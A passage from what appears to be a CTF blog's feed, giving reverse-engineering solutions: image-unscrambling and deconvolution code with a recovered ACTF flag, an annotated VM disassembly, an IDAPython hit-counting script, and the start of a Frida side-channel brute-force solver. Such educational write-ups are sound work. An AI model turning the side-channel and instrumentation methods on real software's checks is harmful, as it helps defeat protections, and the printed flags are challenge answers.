0x00,0xd5,0xd5,0xd5,0x00,0xd6,0xd6,0xd6,0x00,0xd7,0xd7,0xd7,0x00,0xd8,0xd8,0xd8,0x00,0xd9,0xd9,0xd9,0x00,0xda,0xda,0xda,0x00,0xdb,0xdb,0xdb,0x00,0xdc,0xdc,0xdc,0x00,0xdd,0xdd,0xdd,0x00,0xde,0xde,0xde,0x00,0xdf,0xdf,0xdf,0x00,0xe0,0xe0,0xe0,0x00,0xe1,0xe1,0xe1,0x00,0xe2,0xe2,0xe2,0x00,0xe3,0xe3,0xe3,0x00,0xe4,0xe4,0xe4,0x00,0xe5,0xe5,0xe5,0x00,0xe6,0xe6,0xe6,0x00,0xe7,0xe7,0xe7,0x00,0xe8,0xe8,0xe8,0x00,0xe9,0xe9,0xe9,0x00,0xea,0xea,0xea,0x00,0xeb,0xeb,0xeb,0x00,0xec,0xec,0xec,0x00,0xed,0xed,0xed,0x00,0xee,0xee,0xee,0x00,0xef,0xef,0xef,0x00,0xf0,0xf0,0xf0,0x00,0xf1,0xf1,0xf1,0x00,0xf2,0xf2,0xf2,0x00,0xf3,0xf3,0xf3,0x00,0xf4,0xf4,0xf4,0x00,0xf5,0xf5,0xf5,0x00,0xf6,0xf6,0xf6,0x00,0xf7,0xf7,0xf7,0x00,0xf8,0xf8,0xf8,0x00,0xf9,0xf9,0xf9,0x00,0xfa,0xfa,0xfa,0x00,0xfb,0xfb,0xfb,0x00,0xfc,0xfc,0xfc,0x00,0xfd,0xfd,0xfd,0x00,0xfe,0xfe,0xfe,0x00,0xff,0xff,0xff,0x00])

assert len(BMP) == 0x436

with open(&quot;part_1_in.bin&quot;, &quot;rb&quot;) as in_file:
    input = in_file.read()

assert len(input) == 256 * 256

output = bytearray(256 * 256)
bdm = 256
with open(&quot;layer_2_in.bmp&quot;, &quot;wb&quot;) as f:
    for i in tqdm.tqdm(range(256 * 256)):
        tid = i % 256
        bid = i // 256
        output[INV_SBOX[tid] * bdm + INV_SBOX[bid]] = input[bid * bdm + tid] # Swap and apply INV_SBOX

    f.write(BMP)
    f.write(output)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;256&quot; height=&quot;256&quot; src=&quot;https://sh10rl.top/_astro/layer-2-in.C_VICmgj_ZWfnUB.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;Extract the convolutional kernel for motion blur:&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;# format_IDA_data.py
import re
import struct

def parse_rodata_floats(data_string):
    &quot;&quot;&quot;
    Parses a string containing .rodata definitions and extracts float values.

    Args:
        data_string: A multiline string containing the .rodata dump.

    Returns:
        A list of floats extracted from the data.
    &quot;&quot;&quot;
    all_floats = []
    lines = data_string.strip().split(&apos;\n&apos;)

    for line_number, line in enumerate(lines, 1):
        # Look for lines containing &apos;dd &apos; which signifies data definition
        if &apos;dd &apos; not in line:
            continue

        try:
            # Split by &apos;dd &apos; and take the second part
            data_part = line.split(&apos; dd &apos;, 1)[1]
            
            # Remove comments if any (stuff after &apos;;&apos;)
            if &apos;;&apos; in data_part:
                data_part = data_part.split(&apos;;&apos;, 1)[0]

            potential_floats = data_part.split(&apos;,&apos;)
            for val_str in potential_floats:
                cleaned_val_str = val_str.strip()
                if cleaned_val_str: 
                    try:
                        all_floats.append(float(cleaned_val_str))
                    except ValueError:
                        print(f&quot;Warning (line {line_number}): Could not convert &apos;{cleaned_val_str}&apos; to float from: \&quot;{line.strip()}\&quot;&quot;)
        except IndexError:
            print(f&quot;Warning (line {line_number}): Malformed line or unexpected structure after &apos;dd &apos;: \&quot;{line.strip()}\&quot;&quot;)
            continue
            
    return all_floats

def save_floats_to_file(floats_list, output_filename):
    &quot;&quot;&quot;
    Saves a list of floats to a text file, one float per line.

    Args:
        floats_list: A list of float numbers.
        output_filename: The name of the file to save the floats to.

    Returns:
        True if saving was successful, False otherwise.
    &quot;&quot;&quot;
    write_buf = []
    with open(output_filename, &apos;w&apos;) as f:
        for item in floats_list:
            write_buf.append(str(item))
        f.write(&apos;, &apos;.join(write_buf))
    print(f&quot;Successfully saved {len(floats_list)} numbers to &apos;{output_filename}&apos;&quot;)
    return True

# The data provided by the user
rodata_input = &quot;&quot;&quot;
.rodata:0000000000483020 _ZL6motion      dd 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.012483786, 0.042622309
...
.rodata:00000000004833E0                 dd 0.0, 0.0055596731, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0
&quot;&quot;&quot;

if __name__ == &quot;__main__&quot;:
    # Parse the data
    print(&quot;Parsing rodata input...&quot;)
    extracted_floats = parse_rodata_floats(rodata_input)
    
    if extracted_floats:
        print(f&quot;Successfully parsed {len(extracted_floats)} numbers.&quot;)
        
        # Define the output filename
        output_file = &quot;extracted_data.txt&quot;
        
        # Save the floats to the text file
        save_floats_to_file(extracted_floats, output_file)
    else:
        print(&quot;No floats were extracted from the input.&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Using Wiener algorithm to &lt;a href=&quot;https://scikit-image.org/docs/0.25.x/auto_examples/filters/plot_restoration.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;deconvolute&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;import numpy as np
import matplotlib.pyplot as plt
from skimage import io, restoration

# Load and reshape PSF to 16x16
psf = np.array([ ... ])

kernel = psf.reshape(16, 16)

assert(len(psf) == 256)

print(psf.sum())

psf = psf.reshape((16, 16))

# Load image as grayscale
image = io.imread(&apos;layer_2_in.bmp&apos;, as_gray=True)[15:255, 0:240]
print(len(image))

# Perform deconvolution
deconvolved = restoration.wiener(
    image=image,
    psf=psf,
    balance = 0.00001,
    clip=False
)
# Visualization (unchanged)
fig, ax = plt.subplots(1, 2, figsize=(12, 6))
ax[0].imshow(image, cmap=&apos;gray&apos;)
ax[0].set_title(&apos;Blurred Input&apos;)
ax[1].imshow(deconvolved, cmap=&apos;gray&apos;)
ax[1].set_title(&apos;Deconvolved Result&apos;)
plt.show()&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;742&quot; height=&quot;257&quot; src=&quot;https://sh10rl.top/_astro/deepx-flag.C-A-1Q2L_1J0bJI.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;ACTF{DeEptCUdAR1VQUZ}&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&quot;unstoppable&quot;&gt;unstoppable&lt;/h2&gt;
&lt;p&gt;Explore my previous &lt;a href=&quot;https://sh10rl.top/posts/re-vm-challenges-collection/&quot;&gt;post&lt;/a&gt; for detailed analysis.&lt;/p&gt;</content:encoded><category>CTF</category></item><item><title>Re VM challenges collection</title><link>https://sh10rl.top/posts/re-vm-challenges-collection/</link><guid isPermaLink="true">https://sh10rl.top/posts/re-vm-challenges-collection/</guid><description>A record for some approaches tackling VM challenges</description><pubDate>Sat, 10 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;foreword&quot;&gt;Foreword&lt;/h2&gt;
&lt;p&gt;After tackling &lt;del&gt;some&lt;/del&gt; virtual machine reverse engineering challenges (&lt;a href=&quot;https://github.com/team-s2/ACTF-2025/tree/main&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;ACTF&lt;/a&gt; - &lt;a href=&quot;https://github.com/XDSEC/miniLCTF_2025/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;miniLCTF&lt;/a&gt;), it’s time to write a rundown of my approaches in this post.&lt;/p&gt;
&lt;h2 id=&quot;nctf-2024-gogo&quot;&gt;[&lt;a href=&quot;https://github.com/X1cT34m/NCTF2024/tree/main&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;NCTF 2024&lt;/a&gt;] &lt;a href=&quot;https://pcnc027ut287.feishu.cn/wiki/Sslpw98OziXPWmk5CfXcgUGVnhh#share-ObLUdKTLxoId8TxoNQScZyYhn6f&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;gogo&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;A Turing-complete Virtual Machine (VM) implementing a TEA algorithm, which is closer to a Finite State Machine after regarding &lt;code&gt;STRI&lt;/code&gt; and &lt;code&gt;LDRI&lt;/code&gt; as input.&lt;/p&gt;
&lt;div class=&quot;table&quot;&gt;














































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;strong&gt;Instruction&lt;/strong&gt;&lt;/th&gt;&lt;th&gt;&lt;strong&gt;Operands&lt;/strong&gt;&lt;/th&gt;&lt;th&gt;&lt;strong&gt;Operand 1 (Byte &lt;code&gt;a10&lt;/code&gt;)&lt;/strong&gt;&lt;/th&gt;&lt;th&gt;&lt;strong&gt;Operand 2 (Byte &lt;code&gt;a11&lt;/code&gt;)&lt;/strong&gt;&lt;/th&gt;&lt;th&gt;&lt;strong&gt;Operand 3 (Byte &lt;code&gt;a12&lt;/code&gt;)&lt;/strong&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;ADD/SUB/MUL/XOR/AND&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;Rd (reg index)&lt;/td&gt;&lt;td&gt;Rn (reg index)&lt;/td&gt;&lt;td&gt;Rm (reg index)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;LSL/LSR&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;Rd (reg index)&lt;/td&gt;&lt;td&gt;Rn (value reg)&lt;/td&gt;&lt;td&gt;Rm (shift amt reg)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;MOV&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;Rd (reg index)&lt;/td&gt;&lt;td&gt;Immediate val (WORD little endian)&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;STRI/LDRI&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;Rd (reg index)&lt;/td&gt;&lt;td&gt;Must be &lt;code&gt;0x00&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Immediate val (addr)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;LDR/STR&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;Rd (reg index)&lt;/td&gt;&lt;td&gt;Rn (addr)&lt;/td&gt;&lt;td&gt;Must be &lt;code&gt;0x00&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;; --- VM1 Disassembly from DumpedByteCodes.bin ---
; Offset           Bytes        Instruction
0x00000000:  2A 00 37 9E  MOV   R0, #0x9e37
0x00000004:  2A 01 B9 79  MOV   R1, #0x79b9
0x0000000C:  2A 02 10 00  MOV   R2, #0x0010
0x00000010:  71 03 00 02  LSL   R3, R0, R2
0x0000001C:  41 01 01 03  ADD   R1, R1, R3
0x00000020:  16 01 00 1C  STRI  R1, [#0x1c] ; 0x9e3779b9
0x00000024:  2A 00 00 00  MOV   R0, #0x0000
0x00000034:  16 00 00 18  STRI  R0, [#0x18]
0x00000040:  2A 0E 00 00  MOV   R14, #0x0000
0x00000044:  12 02 00 04  LDRI  R2, [#0x04] ; y
0x0000004C:  12 03 00 10  LDRI  R3, [#0x10] ; z
0x00000050:  2A 00 02 00  MOV   R0, #0x0002
0x00000060:  2A 0F 05 00  MOV   R15, #0x0005
0x00000064:  71 04 02 00  LSL   R4, R2, R0  ; y &amp;#x3C;&amp;#x3C; 2
0x0000006C:  73 05 03 0F  LSR   R5, R3, R15 ; z &gt;&gt; 5
0x00000070:  7A 06 04 05  XOR   R6, R4, R5  ; (z &gt;&gt; 5) ^ (y &amp;#x3C;&amp;#x3C; 2)
0x00000080:  2A 00 03 00  MOV   R0, #0x0003
0x00000084:  2A 0F 04 00  MOV   R15, #0x0004
0x00000088:  73 04 02 00  LSR   R4, R2, R0  ; y &gt;&gt; 3
0x00000098:  71 05 03 0F  LSL   R5, R3, R15 ; z &amp;#x3C;&amp;#x3C; 4
0x0000009C:  7A 07 04 05  XOR   R7, R4, R5  ; (y &gt;&gt; 3) ^ (z &amp;#x3C;&amp;#x3C; 4)
0x000000A0:  41 08 06 07  ADD   R8, R6, R7  ; ((z &gt;&gt; 5) ^ (y &amp;#x3C;&amp;#x3C; 2)) + ((y &gt;&gt; 3) ^ (z &amp;#x3C;&amp;#x3C; 4))
0x000000A8:  2A 04 8C A7  MOV   R4, #0xa78c
0x000000AC:  2A 05 4F 0B  MOV   R5, #0x0b4f
0x000000BC:  2A 0F 10 00  MOV   R15, #0x0010
0x000000C4:  71 06 04 0F  LSL   R6, R4, R15
0x000000C8:  41 05 05 06  ADD   R5, R5, R6
0x000000CC:  16 05 00 28  STRI  R5, [#0x28] ; 0xa78c0b4f
0x000000D8:  2A 0F 02 00  MOV   R15, #0x0002
0x000000DC:  73 09 01 0F  LSR   R9, R1, R15 ; sum &gt;&gt; 2
0x000000E8:  7B 0D 09 00  AND   R13, R9, R0 ; (sum &gt;&gt; 2) &amp;#x26; 3
0x000000EC:  7A 04 0D 0E  XOR   R4, R13, R14; p ^ ( (sum &gt;&gt; 2) &amp;#x26; 3 )
0x000000F4:  7B 04 04 00  AND   R4, R4, R0  ; p ^ ( (sum &gt;&gt; 2) &amp;#x26; 3 ) &amp;#x26; 3
0x00000100:  2A 0C 04 00  MOV   R12, #0x0004
0x00000104:  47 04 04 0C  MUL   R4, R4, R12 ; idx * 4
0x00000108:  2A 0F 20 00  MOV   R15, #0x0020
0x00000110:  41 0A 04 0F  ADD   R10, R4, R15; (idx * 4) + 0x20
0x0000011C:  11 04 0A 00  LDR   R4, [R10]   ; key[p ^ ( (sum &gt;&gt; 2) &amp;#x26; 3 ) &amp;#x26; 3]
0x00000120:  7A 06 01 02  XOR   R6, R1, R2  ; sum ^ y
0x00000128:  7A 07 03 04  XOR   R7, R3, R4  ; z ^ key[p]
0x0000012C:  41 09 06 07  ADD   R9, R6, R7  ; (sum ^ y) + (z ^ key[p ^ e &amp;#x26; 3])
0x0000013C:  7A 0A 08 09  XOR   R10, R8, R9 ; ((z &gt;&gt; 5) ^ (y &amp;#x3C;&amp;#x3C; 2)) + ((y &gt;&gt; 3) ^ (z &amp;#x3C;&amp;#x3C; 4)) ^ ((sum ^ y) + (key[(p &amp;#x26; 3) ^ e] ^ z))
0x00000144:  2A 04 63 6E  MOV   R4, #0x6e63
0x00000148:  2A 05 66 74  MOV   R5, #0x7466
0x0000014C:  2A 0F 10 00  MOV   R15, #0x0010
0x0000015C:  71 06 04 0F  LSL   R6, R4, R15
0x00000164:  41 05 05 06  ADD   R5, R5, R6
0x00000168:  16 05 00 20  STRI  R5, [#0x20] ; 0x6e637466
0x00000170:  12 0B 00 00  LDRI  R11, [#0x00]
0x00000180:  41 0C 0A 0B  ADD   R12, R10, R11
0x00000188:  16 0C 00 00  STRI  R12, [#0x00]
0x00000198:  2A 00 01 00  MOV   R0, #0x0001
0x0000019C:  41 0E 0E 00  ADD   R14, R14, R0
0x000001AC:  2A 04 2E 06  MOV   R4, #0x062e
0x000001B0:  2A 05 ED F0  MOV   R5, #0xf0ed
0x000001B8:  2A 0F 10 00  MOV   R15, #0x0010
0x000001C4:  71 06 04 0F  LSL   R6, R4, R15
0x000001C8:  41 05 05 06  ADD   R5, R5, R6
0x000001D8:  16 05 00 24  STRI  R5, [#0x24] ; 0x062ef0ed
0x000001DC:  12 02 00 08  LDRI  R2, [#0x08] ; y
0x000001E0:  12 03 00 00  LDRI  R3, [#0x00] ; z
0x000001F0:  2A 00 02 00  MOV   R0, #0x0002 ;
0x000001F4:  2A 0F 05 00  MOV   R15, #0x0005;
0x000001F8:  71 04 02 00  LSL   R4, R2, R0  ; &amp;#x3C;&amp;#x3C; 2
0x00000208:  73 05 03 0F  LSR   R5, R3, R15 ; &gt;&gt; 5
0x00000218:  7A 06 04 05  XOR   R6, R4, R5
0x0000021C:  2A 00 03 00  MOV   R0, #0x0003 ;
0x00000220:  2A 0F 04 00  MOV   R15, #0x0004;
0x0000022C:  73 04 02 00  LSR   R4, R2, R0
0x00000230:  71 05 03 0F  LSL   R5, R3, R15
0x00000234:  7A 07 04 05  XOR   R7, R4, R5
0x00000244:  41 08 06 07  ADD   R8, R6, R7
0x00000248:  2A 04 30 32  MOV   R4, #0x3230
0x00000250:  2A 05 34 32  MOV   R5, #0x3234
0x00000254:  2A 0F 10 00  MOV   R15, #0x0010
0x00000258:  71 06 04 0F  LSL   R6, R4, R15
0x00000264:  41 05 05 06  ADD   R5, R5, R6
0x00000268:  16 05 00 2C  STRI  R5, [#0x2c] ; 0x32303234
.  .  .
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id=&quot;nctf-2023-ezvm&quot;&gt;[&lt;a href=&quot;https://github.com/X1cT34m/NCTF2023&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;NCTF 2023&lt;/a&gt;] ezVM&lt;/h2&gt;
&lt;p&gt;This VM also implements a Turing-complete VM. Yet, its behavior is closer to a &lt;a href=&quot;https://en.wikipedia.org/wiki/Pushdown_automaton&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;pushdown automaton&lt;/a&gt; (&lt;code&gt;PDA&lt;/code&gt; = &lt;code&gt;FSM&lt;/code&gt; + &lt;code&gt;STACK&lt;/code&gt;) which can leak side channel info due to single-byte verification.&lt;/p&gt;
&lt;h3 id=&quot;acquire-side-channel-info&quot;&gt;Acquire Side-channel Info&lt;/h3&gt;
&lt;p&gt;Using following script to count how many times the target instruction is executed.&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;# -*- coding: utf-8 -*-
import idaapi
import idc
import ida_kernwin
import ida_dbg

# --- Global Variables ---
# Stores the count for the single address being tracked during the CURRENT run
execution_counts = {}
# Stores the history of counts from PREVIOUS runs for the tracked address
run_history = {}
# Stores the address we are currently tracking
g_target_ea = idaapi.BADADDR
# Stores the instance of our debugger hook
g_debugger_hook = None

# --- Debugger Hook Class ---
class ExecutionCounterHook(ida_dbg.DBG_Hooks):
    &quot;&quot;&quot;
    Debugger hook to detect process termination, record counts, and reset for the next run.
    &quot;&quot;&quot;
    def dbg_process_exit(self, pid, tid, ea, code):
        &quot;&quot;&quot;
        Called when the debugged process terminates.
        Records the count for the finished run and resets the counter.
        &quot;&quot;&quot;
        print(f&quot;[Debug Event] Process exited (PID: {pid}, Code: {code})&quot;)
        self._record_and_reset_count()
        return 0 # Important: Hooks should generally return 0

    def _record_and_reset_count(self):
        &quot;&quot;&quot;
        Helper to record the count for the completed run, print history,
        and reset the counter for the next run.
        &quot;&quot;&quot;
        global execution_counts, run_history, g_target_ea

        if g_target_ea != idaapi.BADADDR:
            current_count = execution_counts.get(g_target_ea, 0)

            # Record the count for this run in history
            history_list = run_history.setdefault(g_target_ea, [])
            history_list.append(current_count)

            print(f&quot;--- Execution Count Report ({g_target_ea:#x}) ---&quot;)
            print(f&quot;  Current Run: {current_count} times&quot;)
            print(f&quot;  History: {history_list}&quot;)
            print(f&quot;-----------------------------&quot;)

            # Reset count ONLY for the next run
            execution_counts[g_target_ea] = 0
            print(f&quot;[INFO] Count for address {g_target_ea:#x} has been reset to 0, ready for the next run.&quot;)

        else:
            print(&quot;[INFO] No valid address is currently being tracked.&quot;)

# --- Core Functions ---
def set_counting_bpt(ea):
    &quot;&quot;&quot;
    Sets a trace breakpoint at the specified address &apos;ea&apos; to count
    the number of times this instruction is executed.
    The breakpoint will not suspend the program; it only executes the counting code.

    Args:
        ea (int): The effective address (EA) of the target instruction.

    Returns:
        bool: True if setting the breakpoint was successful, False otherwise.
    &quot;&quot;&quot;
    global execution_counts

    # 1. Check if the address is valid
    if not idaapi.is_mapped(ea):
        print(f&quot;[ERROR] Address {ea:#x} is invalid or not mapped.&quot;)
        return False

    # 2. Prepare Python condition code (return 0 to solve SWIG issues)
    #    Use f-string to embed the address, ensuring dictionary key is an integer
    python_condition = f&quot;&quot;&quot;
global execution_counts
addr = {ea}
execution_counts[addr] = execution_counts.get(addr, 0) + 1
# print(f&quot;Hit count at {{addr:#x}}: {{execution_counts[addr]}}&quot;) # Uncomment for debugging
return 0
&quot;&quot;&quot;
    # Clean up newlines and indentation
    python_condition = &quot;\n&quot;.join([line.strip() for line in python_condition.strip().splitlines()])

    # 3. Add or get breakpoint
    bpt = idaapi.bpt_t()
    # First, try to delete an old breakpoint at the same address (if any) to avoid configuration conflicts
    idaapi.del_bpt(ea)
    if not idaapi.add_bpt(ea, 0, idaapi.BPT_SOFT):
        print(f&quot;[ERROR] Failed to add breakpoint at address {ea:#x}.&quot;)
        return False
    else:
        # Must re-fetch breakpoint info to modify it
        if not idaapi.get_bpt(ea, bpt):
            print(f&quot;[ERROR] Failed to get breakpoint info at address {ea:#x} after adding it.&quot;)
            # Clean up failed breakpoint addition
            idaapi.del_bpt(ea)
            return False

    # 4. Configure breakpoint properties
    bpt.elang = &apos;Python&apos;
    bpt.condition = python_condition
    bpt.flags |= idaapi.BPT_ENABLED
    bpt.flags &amp;#x26;= ~idaapi.BPT_BRK   # Crucial: Do not suspend
    bpt.flags |= idaapi.BPT_TRACE  # Explicitly marking as trace breakpoint might help in some IDA versions

    # 5. Update breakpoint
    if not idaapi.update_bpt(bpt):
        print(f&quot;[ERROR] Failed to update breakpoint at address {ea:#x}.&quot;)
        # Clean up failed breakpoint update
        idaapi.del_bpt(ea)
        return False

    # 6. Initialize count for the current run
    execution_counts[ea] = 0

    print(f&quot;[SUCCESS] Execution counting tracepoint set at address {ea:#x}.&quot;)
    return True

def reset_all():
    &quot;&quot;&quot;
    Complete reset: clears counts, history, removes breakpoints, and unhooks the debugger hook.
    &quot;&quot;&quot;
    global execution_counts, run_history, g_target_ea, g_debugger_hook

    print(&quot;[ACTION] Performing a full reset...&quot;)

    # Remove breakpoint
    if g_target_ea != idaapi.BADADDR:
        print(f&quot;  - Removing breakpoint at address {g_target_ea:#x}...&quot;)
        if idaapi.del_bpt(g_target_ea):
            print(f&quot;  - Breakpoint removed.&quot;)
        else:
            print(f&quot;[WARNING] Failed to remove breakpoint at address {g_target_ea:#x} (it might have been manually removed).&quot;)
    else:
        print(&quot;  - No breakpoint to remove (target address not set).&quot;)

    # Clear counts and history
    execution_counts.clear()
    run_history.clear()
    print(f&quot;  - Execution counts and history cleared.&quot;)

    # Unhook and clear hook instance
    if g_debugger_hook:
        print(&quot;  - Unhooking debugger hook...&quot;)
        try:
            g_debugger_hook.unhook()
            print(&quot;  - Debugger hook unhooked.&quot;)
        except Exception as e:
            print(f&quot;[ERROR] Error unhooking debugger hook: {e}&quot;)
        finally:
            g_debugger_hook = None # Clear reference
    else:
        print(&quot;  - No hook to unhook (not active).&quot;)

    # Reset target address
    g_target_ea = idaapi.BADADDR
    print(&quot;[DONE] All tracking states have been reset.&quot;)

# --- Main Execution Logic ---
def run_execution_counter_script():
    &quot;&quot;&quot;
    Main function: gets an address, sets up the breakpoint and hook (if not already set).
    &quot;&quot;&quot;
    global g_target_ea, g_debugger_hook, execution_counts, run_history

    # 0. Check if an address is already being tracked
    if g_target_ea != idaapi.BADADDR:
        print(f&quot;[INFO] Currently tracking address {g_target_ea:#x}.&quot;)
        print(f&quot;  - Current run count: {execution_counts.get(g_target_ea, 0)}&quot;)
        print(f&quot;  - History: {run_history.get(g_target_ea, [])}&quot;)
        choice = ida_kernwin.ask_yn(1, f&quot;Currently tracking {g_target_ea:#x}.\nDo you want to fully reset and choose a new address?\n(Select &apos;No&apos; to continue tracking the current address)&quot;)
        if choice == 1: # Yes
            reset_all() # Full reset
        else:
            print(&quot;[Action Canceled] Continuing to track the current address. To stop, call reset_all().&quot;)
            return

    # --- If execution reaches here, there&apos;s no active tracking or user chose to reset ---

    # 1. Pop up window to request address
    prompt_msg = &quot;Please enter the instruction address to count executions for (e.g., 0x401000):&quot;
    default_addr = idc.here() # Default to current cursor address
    input_ea = ida_kernwin.ask_addr(default_addr, prompt_msg)

    # 2. Validate user input
    if input_ea is None or input_ea == idaapi.BADADDR:
        print(&quot;[INFO] User canceled or did not enter a valid address. Script terminated.&quot;)
        return

    if not idaapi.is_mapped(input_ea):
        print(f&quot;[ERROR] The entered address {input_ea:#x} is invalid or not mapped. Script terminated.&quot;)
        return

    # Record the new target address
    g_target_ea = input_ea
    print(f&quot;[INFO] New target address set to: {g_target_ea:#x}&quot;)

    # Clear any existing old counts and history for this address (just in case)
    execution_counts.pop(g_target_ea, None)
    run_history.pop(g_target_ea, None)
    # Initialize count and history containers for the new address
    execution_counts[g_target_ea] = 0
    run_history[g_target_ea] = []

    # 3. Set counting breakpoint
    if not set_counting_bpt(g_target_ea):
        print(&quot;[ERROR] Failed to set breakpoint. Script terminated.&quot;)
        g_target_ea = idaapi.BADADDR # Reset target address
        return

    # 4. Create and register debugger hook (only on first setup)
    if g_debugger_hook is None:
        try:
            print(&quot;[ACTION] Registering debugger hook to listen for process exit...&quot;)
            g_debugger_hook = ExecutionCounterHook()
            g_debugger_hook.hook()
            print(&quot;[SUCCESS] Debugger hook registered successfully.&quot;)
        except Exception as e:
            print(f&quot;[ERROR] Failed to register debugger hook: {e}&quot;)
            # Attempt to clean up breakpoint
            idaapi.del_bpt(g_target_ea)
            g_target_ea = idaapi.BADADDR
            execution_counts.clear()
            run_history.clear()
            g_debugger_hook = None
            return
    else:
        print(&quot;[INFO] Debugger hook is already active.&quot;)

    print(&quot;-&quot; * 40)
    print(f&quot;Script setup complete. Tracking address {g_target_ea:#x}.&quot;)
    print(&quot;Please start the debugger (F9) and run the target program.&quot;)
    print(&quot;After the program finishes normally, the execution count for this address will be automatically printed and recorded.&quot;)
    print(&quot;You can run the program multiple times to accumulate history.&quot;)
    print(&quot;Use the reset_all() function to completely stop and clear all data.&quot;)
    print(&quot;-&quot; * 40)

# --- Script Entry Point ---
if __name__ == &quot;__main__&quot;:
    # Note: reset_all() is not called here anymore to preserve state when reloading the script.
    # If a completely clean start is needed, call reset_all() manually from the IDA Python command line.
    # reset_all() # Uncomment to force reset every time the script runs

    # Run main logic
    run_execution_counter_script()

# --- Helper Functions (can be called from IDA Python command line) ---
# reset_all()  # For manual full reset
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Set a breakpoint using the script above:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;1099&quot; height=&quot;262&quot; src=&quot;https://sh10rl.top/_astro/breakpoint.OWrYH87L_DVVhu.webp&quot;&gt;&lt;/figure&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;Sample inputs:
input1: &quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;
input2: &quot;faaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;
input3: &quot;flaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;
Execution counts:
[147, 208, 326]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Obviously, single-byte verification with flag structure: &lt;code&gt;flag{ ... }&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The script below (Python + Frida) implements side-channel brute-force:&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;# PyScript.py
# -*- coding: UTF-8 -*-
import subprocess
import frida
import sys
import os # Added for checking hook file existence

# --- Configuration Constants ---
TARGET_EXE = &quot;ezVm.exe&quot;
HOOK_SCRIPT_FILE = &quot;hook.js&quot;
# Flag length including &quot;flag{&quot; and &quot;}&quot;
# Original script uses range(len(flag), 44) and ljust(43,&quot;A&quot;)+&quot;}&quot;
# This implies total length is 44, content length is 44-len(&quot;flag{}&quot;) = 38
# Padding length is 43 (index 0 to 42)
FLAG_TOTAL_LENGTH = 44
FLAG_CONTENT_PAD_LENGTH = 43 # Length used for ljust padding
FLAG_KNOWN_PREFIX = &quot;flag{O1SC_VM&quot;
PADDING_CHAR = &quot;a&quot;
# Character set for bruteforce, starting with &apos;`&apos; for calibration
PRINTABLE_CHARS = r&quot;`!\&quot;#$%&amp;#x26;&apos;()*+,-./:;&amp;#x3C;=&gt;?@[]^_{|}~0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;
# Initial comparison value (last value assigned in original script)
INITIAL_NUMBER = 103833

# --- Global State for Frida Interaction ---
# &apos;number&apos; stores the score of the best known prefix
# &apos;new_number&apos; stores the score of the current attempt
number = INITIAL_NUMBER
new_number = 0

# --- Frida Callback Function ---
def on_message(message, data):
    &quot;&quot;&quot;Callback function to handle messages from the Frida script.&quot;&quot;&quot;
    global new_number
    if message[&apos;type&apos;] == &apos;send&apos;:
